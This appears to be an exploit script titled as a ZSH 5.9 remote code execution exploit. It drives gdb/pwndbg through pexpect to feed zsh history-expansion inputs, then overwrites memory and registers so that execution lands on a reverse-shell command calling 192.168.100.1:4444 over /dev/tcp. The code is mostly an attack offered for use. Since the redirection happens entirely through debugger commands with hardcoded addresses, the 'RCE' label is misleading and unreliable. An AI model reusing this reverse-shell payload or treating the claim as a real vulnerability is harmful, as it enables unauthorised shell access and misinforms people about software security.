# Exploit ZSH 5.9 - RCE # Date: 30-12-2025 # Exploit Author: sinanadilrana import pexpect import sys import time def debug_print(msg): print(f"[DEBUG] {msg}") def return_to_gdb(gdb, max_attempts=3, timeout=3): """More reliable function to return to GDB prompt""" debug_print("Attempting to return to GDB...") for attempt in range(max_attempts): gdb.sendintr() # Send CTRL+C time.sleep(0.5) try: index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout) if index in [0, 1]: # Found either pwndbg> or (gdb) prompt debug_print("Successfully returned to GDB") return True except pexpect.EOF: debug_print("Session ended unexpectedly") return False debug_print(f"Attempt {attempt + 1} failed, retrying...") debug_print("Failed to return to GDB after maximum attempts") return False # Configure pexpect with consistent bytes mode gdb = pexpect.spawn('gdb --args zsh -f', timeout=30, encoding=None) gdb.logfile = sys.stdout.buffer debug_print("Starting GDB with zsh -f...") try: gdb.expect(b'pwndbg>', timeout=10) debug_print("GDB started successfully") except (pexpect.EOF, pexpect.TIMEOUT) as e: debug_print(f"GDB failed to start: {str(e)}") sys.exit(1) # Run zsh and handle shell debug_print("Running zsh...") gdb.sendline(b'run') shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln>', b'vuln% '] try: gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10) debug_print("Shell started successfully") except pexpect.TIMEOUT: debug_print("Timeout waiting for shell") gdb.sendintr() time.sleep(1) # Shell command execution if any(prompt in gdb.after for prompt in shell_prompts): for cmd in [b'!', b'!!11111111111']: debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}") gdb.sendline(cmd) try: gdb.expect(shell_prompts, timeout=3) debug_print("Command executed") except pexpect.TIMEOUT: debug_print("No response from command") # Use the new return_to_gdb function if not return_to_gdb(gdb): debug_print("Critical error - couldn't return to GDB") sys.exit(1) # Memory operations - simplified and more reliable if b'pwndbg>' in gdb.after: mem_commands = [ b'x/s 0x555555659000', b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.1/4444 0>&1\\""', b'set {long}0x7fffffffd868 = 0x7ffff7cc9110', b'set $rdi = 0x555555659000', b'set $rsp = $rsp - 8', b'continue', b'set {long}$rsp = 0x55555555a000', b'set $rip = 0x7ffff7cc9110', b'set $rdi = 0x555555659000', b'continue' ] for cmd in mem_commands: debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}") gdb.sendline(cmd) try: if b'continue' in cmd: gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15) else: gdb.expect(b'pwndbg>', timeout=5) except pexpect.TIMEOUT: debug_print("Timeout - attempting to recover...") if not return_to_gdb(gdb): debug_print("Failed to recover after timeout") break # Final interactive mode debug_print("Complete - entering interactive") try: gdb.logfile = None gdb.interact() except Exception as e: debug_print(f"Interactive error: {str(e)}") finally: gdb.close()